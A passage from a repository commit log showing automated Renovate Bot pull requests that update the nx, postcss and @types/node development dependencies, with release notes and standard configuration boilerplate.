and preserve type-only imports ([#​35286](https://github.com/nrwl/nx/pull/35286), [#​34593](https://github.com/nrwl/nx/issues/34593)) ##### ❤️ Thank You - Claude - Craigory Coppola [@​AgentEnder](https://github.com/AgentEnder) - Jack Hsu [@​jaysoo](https://github.com/jaysoo) - Jason Jean [@​FrozenPandaz](https://github.com/FrozenPandaz) - Leosvel Pérez Espinosa [@​leosvelperez](https://github.com/leosvelperez) - ShwethaSundar </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/15 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
c3d098502f |
chore(deps): update dependency postcss to v8.5.14 (#16)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [postcss](https://postcss.org/) ([source](https://github.com/postcss/postcss)) | devDependencies | patch | [`8.5.12` -> `8.5.14`](https://renovatebot.com/diffs/npm/postcss/8.5.12/8.5.14) | --- ### Release Notes <details> <summary>postcss/postcss (postcss)</summary> ### [`v8.5.14`](https://github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8514) [Compare Source](https://github.com/postcss/postcss/compare/8.5.13...8.5.14) - Fixed custom syntax regression (by [@​43081j](https://github.com/43081j)). ### [`v8.5.13`](https://github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8513) [Compare Source](https://github.com/postcss/postcss/compare/8.5.12...8.5.13) - Fixed `postcss-scss` commend regression. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #16 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
8769e697b6 |
chore(deps): update dependency @types/node to v20.19.39 (#14)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | patch | [`20.19.9` -> `20.19.39`](https://renovatebot.com/diffs/npm/@types%2fnode/20.19.9/20.19.39) | --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #14 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |